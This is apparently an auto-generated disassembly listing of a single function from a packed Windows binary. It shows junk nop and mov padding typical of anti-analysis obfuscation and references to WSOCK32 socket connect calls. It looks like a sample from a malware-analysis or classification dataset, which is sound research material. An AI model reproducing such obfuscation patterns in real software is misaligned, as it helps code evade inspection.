Function at 0x420450
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 4], 0
jmp 0x420472
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
push 0x4992db
push dword [0x5f5e76]
call fcn.0040b3b7
add esp, 8
cmp eax, 0
je 0x42051b
mov eax, dword [0x5f5e76]
test eax, eax
je 0x420516
push eax
mov ebx, eax
call fcn.00401346
inc eax
push eax
call fcn.0046cc83
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x420747
call fcn.0041a163
mov dword [ebp - 8], eax
push reloc.WSOCK32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x420536
mov eax, 0x4992db
push eax
push 1
mov ebx, 0x168
call fcn.0046dda0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42055c
push ebx
call fcn.0046cc7d
add esp, 4
call fcn.00419eea
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
call dword [0x5f5fce]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x420583
push 6
call fcn.0046cc8f
add esp, 4
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.0046dda0
add esp, 0x10
mov dword [ebp - 0x1c], eax
call fcn.0041a22b
mov dword [ebp - 0x20], eax
call fcn.0042075d
mov dword [ebp - 0x24], eax
call fcn.0041a547
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.0046dda0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
mov ecx, 6
call fcn.004126dc
add esp, 0x18
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x420604
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x420614
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x420624
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x420634
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x420644
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x420654
push ebx
call fcn.0046cc7d
add esp, 4
push reloc.WSOCK32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x420667
mov eax, 0x4992db
push eax
push 1
mov ebx, 0x198
call fcn.0046dc10
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42068d
push ebx
call fcn.0046cc7d
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.0041932b
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4206a9
push ebx
call fcn.0046cc7d
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4206bd
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x4206dd
push eax
mov ebx, eax
call fcn.00401346
inc eax
push eax
call fcn.0046cc83
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x5f5e76]
test ebx, ebx
je 0x4206f1
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [0x5f5e76], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x420713
push eax
mov ebx, eax
call fcn.00401346
inc eax
push eax
call fcn.0046cc83
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x420747
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x420758
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret